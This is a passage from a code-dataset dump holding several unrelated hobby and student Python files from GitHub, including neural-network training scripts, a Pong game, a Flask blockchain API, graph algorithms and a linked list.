input_tensor[ei], encoder_hidden)\n encoder_outputs[ei] = encoder_output[0, 0]\n\n decoder_input = torch.tensor([[SOS_token]], device=device)\n\n decoder_hidden = encoder_hidden\n\n use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False\n\n if use_teacher_forcing:\n # Teacher forcing: Feed the target as the next input\n for di in range(target_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n loss += criterion(decoder_output, target_tensor[di])\n decoder_input = target_tensor[di] # Teacher forcing\n\n else:\n # Without teacher forcing: use its own predictions as the next input\n for di in range(target_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n topv, topi = decoder_output.topk(1)\n decoder_input = topi.squeeze().detach() # detach from history as input\n\n loss += criterion(decoder_output, target_tensor[di])\n if decoder_input.item() == EOS_token:\n break\n\n loss.backward()\n\n encoder_optimizer.step()\n decoder_optimizer.step()\n\n return loss.item() / target_length\n\ndef trainIters(asl, en, asl_txt, en_txt, encoder, decoder, n_iters, print_every=1000, plot_every=100, learning_rate=0.01):\n start = time.time()\n plot_losses = []\n print_loss_total = 0 # Reset every print_every\n plot_loss_total = 0 # Reset every plot_every\n\n encoder_optimizer = optim.SGD(encoder.parameters(), lr=learning_rate)\n decoder_optimizer = optim.SGD(decoder.parameters(), lr=learning_rate)\n training_pairs = [tensorsFromPair(asl, en, asl_txt[i], en_txt[i])\n for i in range(n_iters)]\n criterion = nn.NLLLoss()\n\n for iter in range(1, n_iters + 1):\n training_pair = training_pairs[iter - 1]\n input_tensor = training_pair[0]\n target_tensor = training_pair[1]\n\n loss = train(input_tensor, target_tensor, encoder,\n decoder, encoder_optimizer, decoder_optimizer, criterion)\n print_loss_total += loss\n plot_loss_total += loss\n\n if iter % print_every == 0:\n print_loss_avg = print_loss_total / print_every\n print_loss_total = 0\n print('%s (%d %d%%) %.4f' % (timeSince(start, iter / n_iters),\n iter, iter / n_iters * 100, print_loss_avg))\n\n if iter % plot_every == 0:\n plot_loss_avg = plot_loss_total / plot_every\n plot_losses.append(plot_loss_avg)\n plot_loss_total = 0\n\ndef evaluate(encoder, decoder, sentence, max_length=MAX_LENGTH):\n with torch.no_grad():\n input_tensor = tensorFromSentence(input_lang, sentence)\n input_length = input_tensor.size()[0]\n encoder_hidden = encoder.initHidden()\n\n encoder_outputs = torch.zeros(max_length, encoder.hidden_size, device=device)\n\n for ei in range(input_length):\n encoder_output, encoder_hidden = encoder(input_tensor[ei],\n encoder_hidden)\n encoder_outputs[ei] += encoder_output[0, 0]\n\n decoder_input = torch.tensor([[SOS_token]], device=device) # SOS\n\n decoder_hidden = encoder_hidden\n\n decoded_words = []\n decoder_attentions = torch.zeros(max_length, max_length)\n\n for di in range(max_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs)\n decoder_attentions[di] = decoder_attention.data\n topv, topi = decoder_output.data.topk(1)\n if topi.item() == EOS_token:\n decoded_words.append('')\n break\n else:\n decoded_words.append(output_lang.index2word[topi.item()])\n\n decoder_input = topi.squeeze().detach()\n\n return decoded_words, decoder_attentions[:di + 1]\n\n\nif __name__ == \"__main__\":\n asl, en, asl_train, en_train = prepareData()\n\n hidden_size = 256\n encoder1 = EncoderRNN(asl.n_words, hidden_size, asl.vocabulary).to(device)\n attn_decoder1 = AttnDecoderRNN(hidden_size, en.n_words, dropout_p=0.1).to(device)\n\n trainIters(asl, en, asl_train, en_train, encoder1, attn_decoder1, 75000, print_every=20)","repo_name":"kayoyin/seq2seq-translation","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17337129809","text":"# Importing the only library required\r\nimport turtle\r\n\r\n# Creating the screen for the game\r\nSCREEN = turtle.Screen()\r\nSCREEN.title(\"PONG PONG\")\r\nSCREEN.bgcolor(\"black\")\r\nSCREEN.setup(width = 800, height = 600)\r\nSCREEN.tracer(0)\r\n\r\n# Score bars\r\nSCORE_A = 0\r\nSCORE_B = 0\r\n\r\n# The main two bars by which you will be able to hit the random ball\r\n# PADDLE A\r\nPADDLE_A = turtle.Turtle()\r\nPADDLE_A.speed(0)\r\nPADDLE_A.shape(\"square\")\r\nPADDLE_A.color(\"white\")\r\nPADDLE_A.shapesize(stretch_wid = 5, stretch_len = 0.5)\r\nPADDLE_A.penup()\r\nPADDLE_A.goto(-360, 0)\r\n\r\n# PADDLE B\r\nPADDLE_B = turtle.Turtle()\r\nPADDLE_B.speed(5)\r\nPADDLE_B.shape(\"square\")\r\nPADDLE_B.color(\"white\")\r\nPADDLE_B.shapesize(stretch_wid = 5, stretch_len = 0.5)\r\nPADDLE_B.penup()\r\nPADDLE_B.goto(360, 0)\r\n\r\n# CODE TO MAKE YOUR BALLS BOUNCE\r\nBall = turtle.Turtle()\r\nBall.speed(0)\r\nBall.shape(\"circle\")\r\nBall.color(\"blue\")\r\nBall.penup()\r\nBall.goto(0, 0)\r\nBall.dx = 0.3\r\nBall.dy = -0.3\r\n\r\n# I Don't really remember why I named it \"pen\"\r\npen = turtle.Turtle()\r\npen.speed(0)\r\npen.color(\"white\")\r\npen.penup()\r\npen.hideturtle()\r\npen.goto(0, 260)\r\npen.write(\"Player A: 0 Player B: 0\", align = \"center\",\r\n font = (\"Courier\", 25, \"normal\"))\r\n\r\n# Basic functions\r\n# Paddle A\r\ndef paddle_a_up():\r\n y = PADDLE_A.ycor()\r\n y += 20\r\n PADDLE_A.sety(y)\r\n\r\ndef paddle_a_down():\r\n y = PADDLE_A.ycor()\r\n y -= 20\r\n PADDLE_A.sety(y)\r\n\r\n\r\n# Paddle B\r\ndef paddle_b_up():\r\n y = PADDLE_B.ycor()\r\n y += 20\r\n PADDLE_B.sety(y)\r\n\r\ndef paddle_b_down():\r\n y = PADDLE_B.ycor()\r\n y -= 20\r\n PADDLE_B.sety(y)\r\n\r\n# Code to control using the keyboard\r\nSCREEN.listen()\r\nSCREEN.onkeypress(paddle_a_up, \"w\")\r\nSCREEN.onkeypress(paddle_a_down, \"s\")\r\nSCREEN.onkeypress(paddle_b_up, \"o\")\r\nSCREEN.onkeypress(paddle_b_down, \"l\")\r\n\r\nwhile True:\r\n SCREEN.update()\r\n Ball.setx(Ball.xcor() + Ball.dx)\r\n Ball.sety(Ball.ycor() + Ball.dy)\r\n\r\n if Ball.ycor() > 280:\r\n Ball.sety(280)\r\n Ball.dy *= -1\r\n\r\n if Ball.ycor() < -280:\r\n Ball.sety(-280)\r\n Ball.dy *= -1\r\n\r\n if Ball.xcor() > 380:\r\n Ball.goto(0, 0)\r\n Ball.dx *= -1\r\n SCORE_A += 1\r\n pen.clear()\r\n pen.write(\"Player A: {} Player B: {}\".format(SCORE_A, SCORE_B),\r\n align=\"center\",\r\n font=(\"Courier\", 25, \"normal\"))\r\n\r\n if Ball.xcor() < - 380:\r\n Ball.goto(0, 0)\r\n Ball.dx *= -1\r\n SCORE_B += 1\r\n pen.clear()\r\n pen.write(\"Player A: {} Player B: {}\".format(SCORE_A, SCORE_B),\r\n align=\"center\",\r\n font=(\"Courier\", 25, \"normal\"))\r\n\r\n if Ball.xcor() > 340 and (PADDLE_B.ycor() + 50 > Ball.ycor() > PADDLE_B.ycor() - 50):\r\n Ball.dx *= -1\r\n if Ball.xcor() < -340 and (PADDLE_A.ycor() + 50 > Ball.ycor() > PADDLE_A.ycor() - 50):\r\n Ball.dx *= -1\r\n\r\n\r\n\r\n# RUN... RUN... RUN... RUN... RUN...\r\ndef run(config_path):\r\n config = neat.config.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet,\r\n neat.DefaultStagnation, config_path)\r\n\r\n p = neat.Population(config)\r\n\r\n # Statistics for how good is next generation\r\n\r\n p.add_reporter(neat.StdOutReporter(True))\r\n stats = neat.StatisticsReporter()\r\n p.add_reporter(stats)\r\n\r\n winner = p.run(main, 60)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n local_dir = os.path.dirname(__file__)\r\n config_path = os.path.join(local_dir, \"config-feedforward.txt\")\r\n run(config_path)\r\n","repo_name":"Anomaphy/HIT-THE-BRICK","sub_path":"HIT THE BRICK/HIT THE BRICK.py","file_name":"HIT THE BRICK.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10053489595","text":"#!/usr/bin/env python\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.nn.utils.rnn import pad_sequence\r\nfrom torch.utils.data import DataLoader, Dataset\r\nfrom torch.utils.data.dataset import random_split\r\n\r\nimport os\r\nimport time\r\nfrom tqdm import tqdm\r\nimport wandb\r\n\r\nfrom utils import *\r\nimport model.lstm_lm\r\n\r\n# Config\r\nPROJECT_NAME = 'order-lm'\r\nTRAIN_PATH = 'data/train.csv'\r\nTEST_PATH = 'data/test.csv'\r\nCORRECTIONS_PATH = 'data/misspellings.txt'\r\nBIOWORDVEC_PATH = 'data/bio_embedding_extrinsic'\r\nLM_PATH = 'checkpoints/lm-weights1.pth' # Save language model weights to here\r\n\r\nhyperparameter_defaults = {\r\n 'epochs': 1,\r\n 'batch_size': 64,\r\n 'hidden_size': 256,\r\n 'num_layers': 1,\r\n 'dropout': 0.2,\r\n 'freeze_embeds': True,\r\n 'optimizer': 'adam',\r\n 'learning_rate': 1e-7,\r\n}\r\n\r\nwandb.init(config=hyperparameter_defaults, project=PROJECT_NAME)\r\nconfig = wandb.config\r\n\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\nprint('Using', torch.cuda.get_device_name())\r\n\r\ndef evaluate(model, dataloader, loss_fn, acc_fn, weight=None):\r\n model.eval() # set to eval mode\r\n \r\n total_loss = 0\r\n total_acc = 0\r\n total_count = 0\r\n\r\n with torch.no_grad(): # do not compute gradients during evaluation\r\n for idx, (text, label) in enumerate(dataloader):\r\n pred_label = model(text)\r\n total_loss += loss_fn(pred_label, label, weight).item()\r\n total_acc += acc_fn(pred_label, label)\r\n total_count += label.shape[0] # adds batch size\r\n return total_loss/total_count, total_acc/len(dataloader)\r\n\r\n\r\ndef train(\r\n model,\r\n train_dataloader,\r\n valid_dataloader,\r\n loss_fn,\r\n optimizer,\r\n acc_fn,\r\n weight=None,\r\n num_epochs=1,\r\n save_interval=None,\r\n):\r\n example_count = 0\r\n batch_count = 0\r\n \r\n train_losses = []\r\n valid_losses = []\r\n valid_idx = [] # track index relative to train losses for plotting\r\n \r\n pbar = tqdm() # monitor number of batches completed within epoch\r\n \r\n for epoch in range(1, num_epochs + 1):\r\n start_time = time.time()\r\n \r\n # Training\r\n model.train() # set to train mode\r\n\r\n total_train_loss = 0\r\n total_train_count = 0\r\n \r\n pbar.reset(total=len(train_dataloader)) # reset and reuse the bar\r\n pbar.set_description(desc='epoch {}/{}'.format(epoch, num_epochs))\r\n \r\n for idx, (text, label) in enumerate(train_dataloader):\r\n # Forward pass\r\n out = model(text)\r\n loss = loss_fn(out, label, weight) # calculate loss\r\n \r\n # Backward pass\r\n optimizer.zero_grad() # reset gradients\r\n loss.backward()\r\n torch.nn.utils.clip_grad_norm_(model.parameters(), 0.1) # clip gradients\r\n \r\n # Step with optimizer\r\n optimizer.step() # adjust parameters by gradients collected in backward pass\r\n \r\n example_count += len(label)\r\n batch_count += 1\r\n \r\n train_losses.append(loss.item() / len(label))\r\n total_train_loss += loss.item()\r\n total_train_count += len(label) # adds batch size\r\n \r\n pbar.update() # increment bar by 1\r\n \r\n # Validation\r\n valid_loss, valid_acc = evaluate(model, valid_dataloader, loss_fn, acc_fn, weight)\r\n valid_losses.append(valid_loss)\r\n valid_idx.append(len(train_losses) - 1)\r\n\r\n metrics = {\r\n 'valid_loss': valid_loss,\r\n 'valid_acc': valid_acc,\r\n }\r\n\r\n wandb.log(metrics)\r\n\r\n print('\\nepoch {:3d}: valid_loss: {:8.6f}, valid_acc: {:8.6f}'.format(\r\n epoch,\r\n valid_loss,\r\n valid_acc.item()\r\n )\r\n )\r\n\r\n pbar.close()\r\n \r\n # Plot losses\r\n #plot_losses(train_losses, valid_losses, valid_idx)\r\n\r\n\r\ndef main():\r\n\r\n train_ds = load_dataset(TRAIN_PATH)\r\n print('loaded train set')\r\n\r\n test_ds = load_dataset(TEST_PATH)\r\n print('loaded test set')\r\n\r\n corrections = load_corrections(CORRECTIONS_PATH)\r\n vocab = build_vocab_with_corrections(train_ds, my_tokenizer, corrections)\r\n print('built vocab')\r\n\r\n load_biowordvec_embeddings(BIOWORDVEC_PATH, vocab)\r\n print('loaded embeddings')\r\n\r\n # Add padding to end\r\n def lm_collate_batch(batch):\r\n # Text pipeline returns a list of tokens\r\n text_pipeline = lambda x: [vocab[token] for token in my_tokenizer(x)]\r\n\r\n text_list = []\r\n label_list = []\r\n len_list = []\r\n for _, text, _ in batch: # receives a batch of (metadata, text, label)\r\n # Proceed only if text exists\r\n if not pd.isna(text):\r\n processed_text = torch.tensor(text_pipeline(text), dtype=torch.int64)\r\n\r\n # if no text after processing, then exclude (empty strings are not helpful for language model)\r\n if len(processed_text) > 1:\r\n text_list.append(processed_text[:-1])\r\n label_list.append(processed_text[1:])\r\n len_list.append(len(processed_text) - 1)\r\n \r\n # pack_padded_sequence expects lens sorted in decreasing order\r\n len_order = np.flip(np.argsort(len_list)) # sorted in ascending, then flip\r\n text_list = [text_list[i] for i in len_order]\r\n label_list = [label_list[i] for i in len_order]\r\n len_list = [len_list[i] for i in len_order]\r\n \r\n pad_idx = 1 # vocab.stoi[''] = 1\r\n \r\n text_list = pad_sequence(text_list, batch_first=True, padding_value=pad_idx)\r\n label_list = pad_sequence(label_list, batch_first=True, padding_value=pad_idx)\r\n len_list = torch.tensor(len_list, dtype=torch.int64)\r\n \r\n return text_list.to(device), label_list.to(device)\r\n\r\n # Hyperparameters\r\n EPOCHS = config.epochs\r\n LR = config.learning_rate\r\n BATCH_SIZE = config.batch_size\r\n\r\n # Split dataset\r\n num_train = int(len(train_ds) * 0.8)\r\n split_train_, split_valid_ = random_split(train_ds, [num_train, len(train_ds) - num_train])\r\n\r\n lm_train_dl = DataLoader(split_train_, batch_size=BATCH_SIZE,\r\n shuffle=True, collate_fn=lm_collate_batch)\r\n lm_valid_dl = DataLoader(split_valid_, batch_size=BATCH_SIZE,\r\n shuffle=True, collate_fn=lm_collate_batch)\r\n lm_test_dl = DataLoader(split_valid_, batch_size=BATCH_SIZE,\r\n shuffle=True, collate_fn=lm_collate_batch)\r\n\r\n lm_model = model.lstm_lm.LSTMLanguageModel(\r\n len(vocab),\r\n vocab.vectors.shape[1],\r\n config.hidden_size,\r\n config.num_layers,\r\n config.dropout,\r\n vocab.vectors,\r\n config.freeze_embeds,\r\n ).to(device)\r\n\r\n wandb.watch(lm_model)\r\n\r\n OPTIM = config.optimizer\r\n if OPTIM == 'adam':\r\n lm_optimizer = torch.optim.Adam(clas_model.parameters(), lr=LR)\r\n elif OPTIM == 'sgd':\r\n lm_optimizer = torch.optim.SGD(clas_model.parameters(), lr=LR)\r\n\r\n train(\r\n lm_model,\r\n lm_train_dl,\r\n lm_valid_dl,\r\n model.lstm_lm.loss_fn,\r\n lm_optimizer,\r\n model.lstm_lm.accuracy,\r\n weight=None,\r\n num_epochs=EPOCHS,\r\n )\r\n\r\n # Save model weights\r\n save_checkpoint(LM_PATH, lm_model, lm_optimizer)\r\n #save_checkpoint(os.path.join('checkpoints', '{}-model.pth'.format(wandb.run.name)), lm_model, lm_optimizer)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"kwong22/order-selection-neuro","sub_path":"train-lm.py","file_name":"train-lm.py","file_ext":"py","file_size_in_byte":7627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25546821590","text":"import sys, os\nsys.path.append(os.curdir)\nimport numpy as np\nfrom models import *\nimport time\nfrom PIL import Image\n\n\n# Show image\ndef img_show(img):\n pil_image = Image.fromarray(np.uint8(img))\n pil_image.show()\n\n# Load mnist data\ndef load_mnist(test=False, flatten=False):\n if test:\n path = \"mnist/mnist_test.csv\"\n else:\n path = \"mnist/mnist_train.csv\"\n mnist = np.genfromtxt(path, delimiter=\",\")\n\n X = mnist[1:, 1:]\n Y = mnist[1:, 0]\n Y = np.array([[float(i == y) for i in range(10)] for y in Y]).T\n\n if flatten == False:\n num_data = X.shape[0]\n X = X.reshape(num_data, 1, 28, 28)\n else:\n X = X.T\n\n X /= 255 # Normalize data\n\n return X, Y\n\n# Load train data\nprint(\"Loading data...\")\nX_train, Y_train = load_mnist(test=True)\nfor i in [3, 2, 1]:\n print(f\"Learning start: {i}\", end=\"\\r\")\n time.sleep(0.5)\n\nnetwork = NeuralNet()\n\n# Add layers to the network\nA = X_train\nA = network.add_layer(\"Convolution\", A, num_filters=4, filter_h=3, filter_w=3)\nA = network.add_layer(\"ReLU\", A)\nA = network.add_layer(\"Pooling\", A, pool_h=3, pool_w=3, stride=3)\nA = network.add_layer(\"Affine\", A, num_units=15)\nA = network.add_layer(\"ReLU\", A)\nA = network.add_layer(\"Affine\", A, num_units=10)\nA = network.add_layer(\"SoftMax\", A)\nnetwork.set_loss(\"CrossEntropy\")\n\n\n# Learning rate of 0.3 worked well on [64, 64, 64, 10] layers.\n# Lesser learning rate didn't work.\nnetwork.train(X_train, Y_train, epochs=15, batch_size=100, lr=0.3, verbose=False)\n\n# Load test data\nX_test, Y_test = load_mnist(test = True)\n\n# Get test accuracy\ncost, accuracy = network.forward_propagate(X_test, Y_test)\nprint(\"\\nTest accuracy: \" + str(accuracy))\nprint(\"Learning Completed!\")\n\npredict = network.predict(X_test)\n\nwrong_idx = (np.argmax(predict, axis=0) != np.argmax(Y_test, axis=0))\n\n\nprint(\"Malpredicted example:\")\nfor i, wrong in enumerate(wrong_idx):\n if wrong == True:\n img_show(X_test[i, 0, :, :]*255)\n show_more = input(\"Wanna see more? Y/N: \")\n if show_more == \"Y\":\n pass\n else:\n break\n\n\nprint(\"\\nBye!\")\n","repo_name":"jessekim-ck/neural-net-numpy","sub_path":"test_mnist.py","file_name":"test_mnist.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37286132301","text":"from blockchain import Blockchain\nfrom flask import Flask, jsonify, request\nfrom uuid import uuid4\n\napp = Flask(__name__)\n\nnode_identifier = str(uuid4()).replace('-', '')\n\nblockchain = Blockchain()\n\n\n@app.route('/mine', methods=['GET'])\ndef mine():\n # run the proof of work algorithm to get the next proof...\n previous_proof = blockchain.last_block['proof']\n\n # run the actual \"mining\" function\n proof = blockchain.proof_of_work(previous_proof)\n\n # Give the miner a reward!\n # Sender is 0 to indicate this node mined a new coin\n blockchain.new_transaction(\n sender=\"0\",\n recipient=node_identifier,\n amount=1,\n )\n\n # Forge the new Block by adding it to the chain\n previous_hash = blockchain.hash(blockchain.last_block)\n block = blockchain.new_block(proof, previous_hash)\n\n response = {\n 'message': \"New Block Forged\",\n 'index': block['index'],\n 'transactions': block['transactions'],\n 'proof': block['proof'],\n 'previous_hash': block['previous_hash'],\n }\n return jsonify(response), 200\n\n\n@app.route('/transactions/new', methods=['POST'])\ndef new_transaction():\n values = request.get_json()\n\n # Checked that the required fields were POSTed\n required = ['sender', 'recipient', 'amount']\n if not all(k in values for k in required):\n return 'Missing values', 400\n\n # Create a new Transaction\n index = blockchain.new_transaction(\n values['sender'], values['recipient'], values['amount'])\n\n response = {'message': f'Transaction will be added to Block {index}'}\n return jsonify(response), 201\n\n\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n response = {\n 'chain': blockchain.chain,\n 'length': len(blockchain.chain),\n }\n return jsonify(response), 200\n\n\n@app.route('/nodes/register', methods=['POST'])\ndef register_nodes():\n nodes = request.get_json().get('nodes')\n\n if nodes is None:\n return \"Error: Please supply a valid list of nodes\", 400\n\n for node in nodes:\n blockchain.register_node(node)\n\n response = {\n 'message': 'New nodes have been registered',\n 'total_nodes': list(blockchain.nodes),\n }\n return jsonify(response), 201\n\n\n@app.route('/nodes/resolve', methods=['GET'])\ndef consensus():\n if blockchain.resolve_conflicts():\n response = {\n 'message': 'Our chain was replaced with the longest valid chain',\n 'new_chain': blockchain.chain\n }\n else:\n response = {\n 'message': 'Our chain is the longest valid chain',\n 'chain': blockchain.chain\n }\n\n return jsonify(response), 200\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"AndrewCathcart/blockchain-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24285362149","text":"from os.path import dirname, join, normpath, abspath\nfrom os import chdir, pardir\nfrom sys import prefix\nfrom setuptools import setup, find_packages\nfrom distutils.command.install import INSTALL_SCHEMES\n\ntry:\n with open(join(dirname(__file__), 'README.md')) as f:\n README = f.read()\nexcept IOError:\n README = ''\n\n\ndef get_requirements():\n reqs_file = 'requirements.txt'\n try:\n with open(reqs_file) as reqs_file:\n reqs = filter(None, map(lambda line: line.replace('\\n', '').strip(), reqs_file))\n return reqs\n except IOError:\n pass\n return []\n\n# allow setup.py to be run from any path\nchdir(normpath(join(abspath(__file__), pardir)))\n\n# Change data default path to lib path\n#for scheme in INSTALL_SCHEMES.values():\n# scheme['data'] = scheme['purelib']\n\nsetup(\n name='sd-admin-library',\n version='v1',\n packages=find_packages('src'),\n package_dir={'': ''},\n data_files=[('sd-config', [join('config', 'cli.conf')])],\n entry_points={\n 'console_scripts': [\n 'sd-cli = com.tdigital.sd.cli.cli:command',\n ]\n },\n install_requires=get_requirements(),\n license='(C) Telefonica I+D', # example license\n description='CLI library to manage and operate all the entities of the service directory via HTTP',\n long_description=README,\n url='http://www.tid.es',\n zip_safe=False, # We need that config file can be readen from inside package\n author='Telefonica I+D',\n author_email='jorgelg@tid.es, eag@tid.es',\n classifiers=[\n 'Environment :: CLI',\n 'Framework :: Python',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Commercial',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content'\n ],\n)\n","repo_name":"ealogar/servicedirectory","sub_path":"client-libraries/sd-admin-library/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21768097889","text":"# coding=utf-8\ntime = 0\nnodeAndTimes = {}\n\n\ndef DFS(nodeList):\n for node in nodeList:\n node.setParent(None)\n for node in nodeList:\n if node.getColor() == \"white\":\n DFSVisit(node)\n\n\ndef DFSVisit(u):\n global time\n time += 1\n u.setD(time)\n u.setColor(\"gray\")\n for node in u.getSons():\n if node.getColor() is \"white\":\n node.setParent(u)\n DFSVisit(node)\n u.setColor(\"black\")\n time += 1\n u.setEndTime(time)\n nodeAndTimes[time] = u # dizionario per salvare il tempo di fine e il nodo corrispondente\n\n\ndef strongly_connected(nodes):\n scc_list = []\n\n def dfswrap(node):\n scc = []\n\n def Scc(u):\n u.setColor(\"gray\")\n for node in u.getSons():\n if node.getColor() is \"white\":\n node.setParent(u)\n Scc(node)\n u.setColor(\"black\")\n scc.append(u) # lista dichiarata nel wrap\n\n # siccome devo salvare il valore ad ogni ricorsione sono costretto a creare un contenitore\n # che salva ogni volta il valore nella lista\n Scc(node)\n return scc\n\n def DFStrasposed(nodelist):\n # non scriviamo i tempi sul grafo trasposto perchè usiamo i tempi del grafo non trasposto\n global nodeAndTimes\n reversenode = []\n for endtime, node in reversed(sorted(nodeAndTimes.iteritems())):\n reversenode.append(node) # lista contenente i nodi da seguire in ordine decrescente\n for node in nodelist:\n node.setColor(\"white\")\n for node in reversenode:\n if node.getColor() == \"white\":\n scc_list.append(dfswrap(node))\n\n DFStrasposed(nodes)\n return scc_list\n","repo_name":"ettorecelozzi/SccandGraphsTest","sub_path":"DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"37687832696","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\n\n\n# In[4]:\n\n\nfrom sklearn import datasets\n\n\n# In[5]:\n\n\nbcd= datasets.load_breast_cancer()\nx=bcd.data\ny=bcd.target\nx.shape\n\n\n# In[6]:\n\n\nbcd.target_names\n\n\n# In[ ]:\n\n\n\n\n\n# In[7]:\n\n\ny\n\n\n# In[8]:\n\n\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.2,random_state=42)\n\n\n# In[9]:\n\n\nknn=KNeighborsClassifier(n_neighbors=8)\nknn.fit(x_train,y_train)\ny_pred=knn.predict(x_test)\n\n\n# In[10]:\n\n\nfrom sklearn.metrics import confusion_matrix, classification_report\n\n\n# In[12]:\n\n\nprint(confusion_matrix(y_test,y_pred,[0,1]))\nprint(classification_report(y_test,y_pred))\n\n\n# In[13]:\n\n\nfrom sklearn.linear_model import LogisticRegression\n\n\n# In[19]:\n\n\nlr=LogisticRegression()\nlr.fit(x_train, y_train)\ny_pred=lr.predict(x_test)\ncm=confusion_matrix(y_test,y_pred,[0,1])\ncm\n\n\n# In[20]:\n\n\nfrom sklearn.preprocessing import normalize\n\n\n# In[21]:\n\n\ncm=normalize(cm,norm='l1',axis=1)\n\n\n# In[22]:\n\n\ncm_df=pd.DataFrame(cm,columns=bcd.target_names,index=bcd.target_names)\ncm_df\n\n\n# In[23]:\n\n\nfrom sklearn.metrics import roc_curve\n\n\n# In[26]:\n\n\ny_pred_prob=lr.predict_proba(x_test)[:,1]\nfpr,tpr,thresholds=roc_curve(y_test,y_pred_prob)\n\n\n# In[27]:\n\n\nplt.plot([0,1],[0,1],'k--')\n\n\n# In[29]:\n\n\nplt.plot(fpr,tpr)\nplt.xlabel('fpr')\nplt.ylabel('tpr')\nplt.show()\n\n\n# In[30]:\n\n\nfrom sklearn.metrics import roc_auc_score\n\n\n# In[31]:\n\n\nroc_auc_score(y_test,y_pred_prob)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"PogramLearningWithPouyan/machine-learning","sub_path":"ML_leason6_supervise learning_11,12,13,14,15.py","file_name":"ML_leason6_supervise learning_11,12,13,14,15.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"9605367803","text":"\nclass DoubleLinkedList(object):\n\n class Node(object):\n def __init__(self, val=None):\n self.prev = None\n self.next = None\n self.key = val\n\n def delete(self):\n self.prev.next = self.next\n self.next.prev = self.prev\n\n def __init__(self):\n nil = DoubleLinkedList.Node()\n nil.prev = nil\n nil.next = nil\n\n self.nil = nil\n\n def push_front(self, val):\n node = DoubleLinkedList.Node()\n node.key = val\n\n node.next = self.nil.next\n self.nil.next.prev = node\n self.nil.next = node\n node.prev = self.nil\n\n def push_back(self, val):\n node = DoubleLinkedList.Node()\n node.key = val\n\n node.prev = self.nil.prev\n self.nil.prev.next = node\n self.nil.prev = node\n node.next = self.nil\n\n def _find_node(self, key):\n i = self.nil.next\n\n while i is not self.nil and i.key == key:\n i = i.next\n\n return i\n\n def delete(self, key):\n self._find_node(key).delete()\n\n def pop_back(self):\n key = self.nil.prev.key\n self.nil.prev.delete()\n return key\n\n def pop_front(self):\n key = self.nil.next.key\n self.nil.next.delete()\n return key\n\n def is_empty(self):\n return self.nil.next is self.nil\n\n def to_arr(self):\n arr = []\n\n while not self.is_empty():\n arr.append(self.pop_front())\n\n return arr\n\n\nif __name__ == \"__main__\":\n list = DoubleLinkedList()\n\n list.push_front(10)\n list.push_back(20)\n\n assert list.pop_back() == 20\n assert list.pop_back() == 10\n\n assert list.is_empty()\n\n for i in range(10):\n if i % 2 == 0:\n list.push_front(i)\n else:\n list.push_back(i)\n\n assert list.to_arr() == [8, 6, 4, 2, 0, 1, 3, 5, 7, 9]\n","repo_name":"bgrzesik/sem2-2020-asd","sub_path":"double_linked_list.py","file_name":"double_linked_list.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21912846793","text":"import torch\nimport numpy as np\nimport torchvision.transforms\nfrom torchmetrics.classification import MulticlassAccuracy\nfrom tqdm import tqdm\nimport ssl\nimport pickle\n\n\ndef labels2onehot(labels):\n return np.array([[i == lab for i in range(20)] for lab in labels])\n\n\nclass AgnosticModel(torch.nn.Module):\n def __init__(self, base_model, num_classes=5):\n super(AgnosticModel, self).__init__()\n\n self.norm_layer = torchvision.transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n self.base_model = base_model\n self.act_layer = torch.nn.Softmax(dim=1)\n\n def forward(self, imgs):\n norm_imgs = self.norm_layer(imgs)\n raw_preds = self.base_model(norm_imgs)\n preds = self.act_layer(raw_preds)\n\n return preds\n\n\nclass FeaturizeModel(torch.nn.Module):\n def __init__(self, base_model):\n super(FeaturizeModel, self).__init__()\n\n self.norm_layer = torchvision.transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 